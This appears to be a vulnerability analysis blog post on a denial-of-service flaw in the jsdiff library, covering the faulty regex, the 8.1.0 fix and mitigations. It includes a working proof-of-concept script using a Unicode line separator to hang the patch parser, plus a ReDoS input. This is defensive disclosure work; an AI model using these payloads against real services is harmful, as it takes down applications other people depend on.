GHSA-73RR-HH4G-FPGX

Diffing Dangerously: Infinite Loops and ReDoS in jsdiff

Alon Barad
Alon Barad
Software Engineer

Jan 14, 2026·6 min read

Executive Summary (TL;DR)

The `jsdiff` library (< 8.1.0) fails to handle Unicode line separators correctly in its patch parser. A crafted patch file containing characters like `\u2028` in a filename can trap the parser in an infinite loop, causing memory exhaustion. Additionally, a ReDoS flaw exists in how patch headers are processed. Upgrading to 8.1.0 fixes this by replacing complex regexes with string manipulation.

A critical Denial of Service vulnerability in the popular `jsdiff` library. By exploiting JavaScript's quirk regarding regex dot-matching and line separators, attackers can trigger an infinite loop or catastrophic backtracking (ReDoS), effectively freezing Node.js applications that parse patches.

The Hook: When Diffing Becomes Deadly

We take text processing for granted. It is the boring plumbing of the software world. You have fileA, you have fileB, and you want to know what changed. Enter jsdiff, a library so ubiquitous in the JavaScript ecosystem that it likely powers the testing framework, git client, or code editor you are using right now.

But here is the thing about boring plumbing: when it bursts, the house floods. This vulnerability isn't some complex heap feng shui exploit involving precise memory layout manipulation. It is a testament to how fragile our foundational text processing tools can be when faced with the weirdness of Unicode and the treacherous nature of Regular Expressions.

Imagine a scenario where a developer submits a pull request. The CI/CD pipeline picks it up, attempts to generate a diff for the logs, and suddenly... silence. The server hangs. CPU spikes to 100%. Memory usage climbs until the process crashes. No error message, no stack trace, just a dead process. That is the reality of GHSA-73RR-HH4G-FPGX.

The Flaw: The Invisible Character Trap

The root cause of this vulnerability lies in a misunderstanding of how JavaScript's Regular Expression engine handles the dot (.) atom. Most developers assume . matches "anything except a newline." In JavaScript, "newline" usually means \n (Line Feed) or \r (Carriage Return). However, the ECMAScript specification has a few other characters it considers "line terminators," specifically the Unicode Line Separator (\u2028) and Paragraph Separator (\u2029).

The jsdiff parser iterates through a patch file line by line. When it encounters a file header (lines starting with --- or +++), it attempts to parse the filename using this regex:

/^(---|+++)\s+(.*)\r?$/

See that (.*)? It greedily eats characters until it hits a line terminator. If an attacker crafts a patch file where the filename includes \u2028 (e.g., --- my_file\u2028.txt), the . will stop matching right before that invisible character. Consequently, the regex fails to match the whole line.

Here is where the logic flaw kicks in: The parser sees the line starts with ---, so it enters the "parse header" block. But because the regex match failed, the code that extracts the filename and—crucially—advances the parser index is skipped or malfunctions. The loop continues, sees the same --- line again, tries the regex again, fails again, and allocates new objects again. Infinite loop. Game over.

The Code: Regex vs. Substring

Let's look at the smoking gun in src/patch/parse.ts. The fix implemented in version 8.1.0 is a perfect example of "de-regexing" code for performance and security.

The Vulnerable Code:

// The parser tries to identify file headers with a regex
const fileHeader = (/^(---|+++)\s+(.*)\r?$/).exec(diffstr[i]);
if (fileHeader) {
    // Extract filename and move on
}
// If the regex fails but the line starts with ---, 
// we might get stuck or fall through incorrectly.

The Fix (Commit 15a1585):

The maintainers realized that using a regex to split a string by tabs or spaces is overkill and dangerous. They replaced the regex with explicit string manipulation logic.

// Check strictly for the prefix first
const fileHeaderMatch = (/^(---|+++)\s+/).exec(diffstr[i]);
if (fileHeaderMatch) {
    const prefix = fileHeaderMatch[1];
    // Use substring to grab the rest of the line, avoiding the dot-match pitfall
    const data = diffstr[i].substring(3).trim().split('\t', 2);
    const header = (data[1] || '').trim();
    // ... manual parsing logic ...
}

By switching to substring(3) and split('\t'), the code no longer cares about what specific characters are in the filename. It just grabs the raw string data. This bypasses the ReDoS issue entirely and ensures that \u2028 doesn't break the parsing logic.

The Exploit: Crashing the Node Event Loop

Exploiting this is trivially easy and requires no authentication if the target application parses user-supplied patches. This is common in git-integrated tools, code review platforms, or CMS plugins.

Attack Vector 1: The Infinite Loop (OOM)

An attacker creates a .diff file containing the Unicode Line Separator. You don't even need a valid diff content, just the header is enough to trigger the loop.

// poc.js
const Diff = require('diff');
// \u2028 is the Line Separator
const payload = '--- a/hazardous\u2028file.js\n+++ b/hazardous\u2028file.js\n@@ -1 +1 @@\n-foo\n+bar';
 
try {
  // This will hang indefinitely until V8 crashes with "Fatal Error: Heap out of memory"
  Diff.parsePatch(payload);
} catch (e) {
  console.log("We crashed.");
}

Attack Vector 2: ReDoS

Alternatively, the cubic-complexity regex issue can be triggered by sending a header with excessive garbage data designed to trigger backtracking.

Index: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

While the infinite loop is more devastating (guaranteed crash), the ReDoS vector effectively allows a low-bandwidth attacker to freeze the server thread for extended periods.

The Impact: Why This Matters

Since jsdiff is a foundational library (receiving millions of downloads per week), the blast radius is massive. Any service that accepts patch files, displays diffs from user input, or processes git history via Node.js is potentially vulnerable.

  1. Availability Impact: The primary impact is Denial of Service (DoS). For a single-threaded Node.js application, parsing one malicious patch blocks the entire event loop. No other requests can be served.
  2. Resource Exhaustion: The infinite loop variant doesn't just spin the CPU; it continuously allocates objects inside the loop until the generic heap limit is reached. This causes the application to crash hard, requiring a restart.
  3. Cost: In a serverless environment (e.g., AWS Lambda), a ReDoS attack that hangs execution for the full timeout period (15 minutes) can rack up computation costs significantly if automated.

The Fix: Cleaning Up the Mess

The mitigation is straightforward: Update jsdiff to version 8.1.0 or later immediately.

If you are stuck on an older version (perhaps due to a transitive dependency you can't control), you must sanitize inputs before they reach the library. You can implement a middleware layer that rejects any input containing \u2028 or \u2029, and enforces a strict length limit on lines to mitigate the ReDoS aspect.

// Emergency Workaround Middleware
function sanitizePatchInput(input) {
  if (/[\u2028\u2029]/.test(input)) {
    throw new Error("Illegal characters in patch file.");
  }
  return input;
}

However, patching the library is the only robust solution, as the internal parsing logic was fundamentally flawed in how it handled headers.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

jsdiff < 8.1.0Node.js applications processing user-submitted patchesGit integration tools built on JavaScriptTest frameworks using jsdiff for assertions

Affected Versions Detail

Product
Affected Versions
Fixed Version
jsdiff
kpdecker
< 8.1.08.1.0
AttributeDetail
Vulnerability TypeDenial of Service (DoS)
WeaknessesCWE-1333 (ReDoS), CWE-835 (Infinite Loop)
CVSS Estimate7.5 (High)
Attack VectorNetwork (Input-based)
Affected Componentsrc/patch/parse.ts (parsePatch)
Patch Commit15a1585230748c8ae6f8274c202e0c87309142f5
CWE-1333
Inefficient Regular Expression Complexity

Inefficient Regular Expression Complexity and Loop with Unreachable Exit Condition

Vulnerability Timeline

Vulnerability Published
2026-01-14
Fix Merged (v8.1.0)
2026-01-14

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.